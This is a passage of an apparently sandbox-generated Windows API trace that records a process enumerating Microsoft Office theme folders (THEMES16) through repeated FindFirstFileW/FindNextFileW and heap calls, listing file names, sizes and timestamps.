ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONCRETE.ELM", cAlternateFileName="")) returned 1 [0286.536] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONCRETE.INF", cAlternateFileName="")) returned 1 [0286.536] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x507, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0286.536] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6fb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0286.536] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6fb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0286.536] FindClose (in: hFindFile=0xb02d48 | out: hFindFile=0xb02d48) returned 1 [0286.536] GetProcessHeap () returned 0xaf0000 [0286.536] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0286.536] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="DEEPBLUE", cAlternateFileName="")) returned 1 [0286.537] GetProcessHeap () returned 0xaf0000 [0286.537] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0286.537] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\DEEPBLUE\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0286.537] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.537] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x116dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEEPBLUE.ELM", cAlternateFileName="")) returned 1 [0286.537] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x239, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEEPBLUE.INF", cAlternateFileName="")) returned 1 [0286.537] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf75, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0286.537] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x81fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0286.537] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x81fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0286.537] FindClose (in: hFindFile=0xb02d48 | out: hFindFile=0xb02d48) returned 1 [0286.537] GetProcessHeap () returned 0xaf0000 [0286.538] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0286.538] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ECHO", cAlternateFileName="")) returned 1 [0286.538] GetProcessHeap () returned 0xaf0000 [0286.538] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0286.538] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECHO\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0286.538] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.538] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb0ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECHO.ELM", cAlternateFileName="")) returned 1 [0286.538] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECHO.INF", cAlternateFileName="")) returned 1 [0286.538] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0286.539] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c86bce, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6212, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0286.539] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c86bce, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6212, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0286.539] FindClose (in: hFindFile=0xb02d48 | out: hFindFile=0xb02d48) returned 1 [0286.539] GetProcessHeap () returned 0xaf0000 [0286.539] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0286.539] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ECLIPSE", cAlternateFileName="")) returned 1 [0286.539] GetProcessHeap () returned 0xaf0000 [0286.539] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0286.539] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECLIPSE\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0286.539] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.540] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1cf31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECLIPSE.ELM", cAlternateFileName="")) returned 1 [0286.540] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x253, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECLIPSE.INF", cAlternateFileName="")) returned 1 [0286.540] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0286.540] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c86bce, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0286.540] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c86bce, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0286.540] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0286.540] GetProcessHeap () returned 0xaf0000 [0286.540] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0286.540] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="EDGE", cAlternateFileName="")) returned 1 [0286.540] GetProcessHeap () returned 0xaf0000 [0286.540] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0286.540] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EDGE\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0286.541] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.541] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDGE.ELM", cAlternateFileName="")) returned 1 [0286.541] GetProcessHeap () returned 0xaf0000 [0286.541] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0286.542] GetProcessHeap () returned 0xaf0000 [0286.542] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0286.542] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EVRGREEN\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b2f705, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b2f705, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0286.542] GetProcessHeap () returned 0xaf0000 [0286.542] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0286.542] GetProcessHeap () returned 0xaf0000 [0286.542] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0286.542] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EXPEDITN\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b2f705, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b2f705, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0286.543] GetProcessHeap () returned 0xaf0000 [0286.543] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0286.543] GetProcessHeap () returned 0xaf0000 [0286.543] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0286.543] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ICE\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ba1ded, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ba1ded, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0286.544] GetProcessHeap () returned 0xaf0000 [0286.544] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0286.544] GetProcessHeap () returned 0xaf0000 [0286.544] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0286.544] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\INDUST\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b5591d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0286.545] GetProcessHeap () returned 0xaf0000 [0286.545] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0286.545] GetProcessHeap () returned 0xaf0000 [0286.545] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0286.545] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\IRIS\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b5591d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b7bb91, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b7bb91, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0286.545] GetProcessHeap () returned 0xaf0000 [0286.545] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0286.546] GetProcessHeap () returned 0xaf0000 [0286.546] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0286.546] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\JOURNAL\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b5591d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0286.546] GetProcessHeap () returned 0xaf0000 [0286.546] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0286.546] GetProcessHeap () returned 0xaf0000 [0286.546] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0286.546] FindFirstFileW 